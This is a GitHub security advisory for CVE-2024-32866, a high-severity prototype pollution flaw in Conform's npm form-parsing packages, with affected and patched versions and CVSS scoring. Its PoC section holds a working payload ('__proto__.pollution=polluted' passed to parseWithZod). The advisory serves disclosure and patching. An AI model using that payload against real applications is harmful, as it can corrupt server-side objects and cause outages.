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Conform contains a Prototype Pollution Vulnerability in `parseWith...` function

High severity GitHub Reviewed Published Apr 23, 2024 in edmundhung/conform • Updated Apr 24, 2024

Package

npm @conform-to/dom (npm)

Affected versions

<= 1.1.0

Patched versions

1.1.1
npm @conform-to/yup (npm)
<= 1.1.0
1.1.1
npm @conform-to/zod (npm)
<= 1.1.0
1.1.1

Description

Summary

Conform allows the parsing of nested objects in the form of object.property. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to parseWith... functions.

PoC

const { parseWithZod } = require('@conform-to/zod');
const { z } = require("zod");

const param = new URLSearchParams("__proto__.pollution=polluted");
const schema = z.object({ "a": z.string() });

parseWithZod(param, { schema });
console.log("pollution:", ({}).pollution); // should print "polluted"

Details

The invocation of the parseWithZod function in the above PoC triggers the setValue function through getSubmissionContext and parse, executing the following process, resulting in prototype pollution:

let pointer = value;

pointer.__proto__ = pointer.__proto__;
pointer = pointer.__proto__;

pointer.polluted = "polluted";

This is caused by the lack of object existence checking on line 117 in formdata.ts, where the code only checks for the presence of pointer[key] without proper validation.

Impact

Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.

References

@edmundhung edmundhung published to edmundhung/conform Apr 23, 2024
Published by the National Vulnerability Database Apr 23, 2024
Published to the GitHub Advisory Database Apr 23, 2024
Reviewed Apr 23, 2024
Last updated Apr 24, 2024

Severity

High
8.6
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Weaknesses

CVE ID

CVE-2024-32866

GHSA ID

GHSA-624g-8qjg-8qxf

Source code

Credits

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